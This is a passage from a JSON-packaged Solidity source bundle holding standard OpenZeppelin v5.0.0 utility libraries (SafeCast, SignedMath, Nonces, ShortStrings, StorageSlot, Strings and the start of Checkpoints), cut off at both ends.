return uint32(value);\n }\n\n /**\n * @dev Returns the downcasted uint24 from uint256, reverting on\n * overflow (when the input is greater than largest uint24).\n *\n * Counterpart to Solidity's `uint24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n return uint24(value);\n }\n\n /**\n * @dev Returns the downcasted uint16 from uint256, reverting on\n * overflow (when the input is greater than largest uint16).\n *\n * Counterpart to Solidity's `uint16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n return uint16(value);\n }\n\n /**\n * @dev Returns the downcasted uint8 from uint256, reverting on\n * overflow (when the input is greater than largest uint8).\n *\n * Counterpart to Solidity's `uint8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n return uint8(value);\n }\n\n /**\n * @dev Converts a signed int256 into an unsigned uint256.\n *\n * Requirements:\n *\n * - input must be greater than or equal to 0.\n */\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n return uint256(value);\n }\n\n /**\n * @dev Returns the downcasted int248 from int256, reverting on\n * overflow (when the input is less than smallest int248 or\n * greater than largest int248).\n *\n * Counterpart to Solidity's `int248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int240 from int256, reverting on\n * overflow (when the input is less than smallest int240 or\n * greater than largest int240).\n *\n * Counterpart to Solidity's `int240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int232 from int256, reverting on\n * overflow (when the input is less than smallest int232 or\n * greater than largest int232).\n *\n * Counterpart to Solidity's `int232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int224 from int256, reverting on\n * overflow (when the input is less than smallest int224 or\n * greater than largest int224).\n *\n * Counterpart to Solidity's `int224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int216 from int256, reverting on\n * overflow (when the input is less than smallest int216 or\n * greater than largest int216).\n *\n * Counterpart to Solidity's `int216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int208 from int256, reverting on\n * overflow (when the input is less than smallest int208 or\n * greater than largest int208).\n *\n * Counterpart to Solidity's `int208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int200 from int256, reverting on\n * overflow (when the input is less than smallest int200 or\n * greater than largest int200).\n *\n * Counterpart to Solidity's `int200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int192 from int256, reverting on\n * overflow (when the input is less than smallest int192 or\n * greater than largest int192).\n *\n * Counterpart to Solidity's `int192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int184 from int256, reverting on\n * overflow (when the input is less than smallest int184 or\n * greater than largest int184).\n *\n * Counterpart to Solidity's `int184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int176 from int256, reverting on\n * overflow (when the input is less than smallest int176 or\n * greater than largest int176).\n *\n * Counterpart to Solidity's `int176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int168 from int256, reverting on\n * overflow (when the input is less than smallest int168 or\n * greater than largest int168).\n *\n * Counterpart to Solidity's `int168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int160 from int256, reverting on\n * overflow (when the input is less than smallest int160 or\n * greater than largest int160).\n *\n * Counterpart to Solidity's `int160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int152 from int256, reverting on\n * overflow (when the input is less than smallest int152 or\n * greater than largest int152).\n *\n * Counterpart to Solidity's `int152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int144 from int256, reverting on\n * overflow (when the input is less than smallest int144 or\n * greater than largest int144).\n *\n * Counterpart to Solidity's `int144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int136 from int256, reverting on\n * overflow (when the input is less than smallest int136 or\n * greater than largest int136).\n *\n * Counterpart to Solidity's `int136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int128 from int256, reverting on\n * overflow (when the input is less than smallest int128 or\n * greater than largest int128).\n *\n * Counterpart to Solidity's `int128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int120 from int256, reverting on\n * overflow (when the input is less than smallest int120 or\n * greater than largest int120).\n *\n * Counterpart to Solidity's `int120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int112 from int256, reverting on\n * overflow (when the input is less than smallest int112 or\n * greater than largest int112).\n *\n * Counterpart to Solidity's `int112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int104 from int256, reverting on\n * overflow (when the input is less than smallest int104 or\n * greater than largest int104).\n *\n * Counterpart to Solidity's `int104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int96 from int256, reverting on\n * overflow (when the input is less than smallest int96 or\n * greater than largest int96).\n *\n * Counterpart to Solidity's `int96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int88 from int256, reverting on\n * overflow (when the input is less than smallest int88 or\n * greater than largest int88).\n *\n * Counterpart to Solidity's `int88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int80 from int256, reverting on\n * overflow (when the input is less than smallest int80 or\n * greater than largest int80).\n *\n * Counterpart to Solidity's `int80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int72 from int256, reverting on\n * overflow (when the input is less than smallest int72 or\n * greater than largest int72).\n *\n * Counterpart to Solidity's `int72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int64 from int256, reverting on\n * overflow (when the input is less than smallest int64 or\n * greater than largest int64).\n *\n * Counterpart to Solidity's `int64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int56 from int256, reverting on\n * overflow (when the input is less than smallest int56 or\n * greater than largest int56).\n *\n * Counterpart to Solidity's `int56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int48 from int256, reverting on\n * overflow (when the input is less than smallest int48 or\n * greater than largest int48).\n *\n * Counterpart to Solidity's `int48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int40 from int256, reverting on\n * overflow (when the input is less than smallest int40 or\n * greater than largest int40).\n *\n * Counterpart to Solidity's `int40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int32 from int256, reverting on\n * overflow (when the input is less than smallest int32 or\n * greater than largest int32).\n *\n * Counterpart to Solidity's `int32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int24 from int256, reverting on\n * overflow (when the input is less than smallest int24 or\n * greater than largest int24).\n *\n * Counterpart to Solidity's `int24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int16 from int256, reverting on\n * overflow (when the input is less than smallest int16 or\n * greater than largest int16).\n *\n * Counterpart to Solidity's `int16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int8 from int256, reverting on\n * overflow (when the input is less than smallest int8 or\n * greater than largest int8).\n *\n * Counterpart to Solidity's `int8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n /**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n */\n function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n return int256(value);\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Nonces.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides tracking nonces for addresses. Nonces will only increment.\n */\nabstract contract Nonces {\n /**\n * @dev The nonce used for an `account` is not the expected current nonce.\n */\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n /**\n * @dev Returns the next unused nonce for an address.\n */\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n /**\n * @dev Consumes a nonce.\n *\n * Returns the current value and increments nonce.\n */\n function _useNonce(address owner) internal virtual returns (uint256) {\n // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be\n // decremented or reset. This guarantees that the nonce never overflows.\n unchecked {\n // It is important to do x++ and not ++x here.\n return _nonces[owner]++;\n }\n }\n\n /**\n * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.\n */\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.20;\n\nimport {StorageSlot} from \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using\n * {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(newImplementation.code.length > 0);\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/Checkpoints.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/Checkpoints.sol)\n// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\n\n/**\n * @dev This library defines the `Trace*` struct, for checkpointing values as they change at different points in\n * time, and later looking up past values by block number. See {Votes} as an example.\n *\n * To create a history of checkpoints define a variable type `Checkpoints.Trace*` in your contract, and store a new\n * checkpoint for the current transaction block using the {push} function.\n */\nlibrary Checkpoints {\n /**\n * @dev A value was attempted to be inserted on a past checkpoint.\n */\n error CheckpointUnorderedInsertion();\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint32).max` key set will disable the\n * library.\n */\n function push(Trace224 storage self, uint32 key, uint224 value) internal returns (uint224, uint224) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace224 storage self) internal view returns (bool exists, uint32 _key, uint224 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace224 storage self, uint32 pos) internal view returns (Checkpoint224 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint224[] storage self, uint32 key, uint224 value) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint224 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push 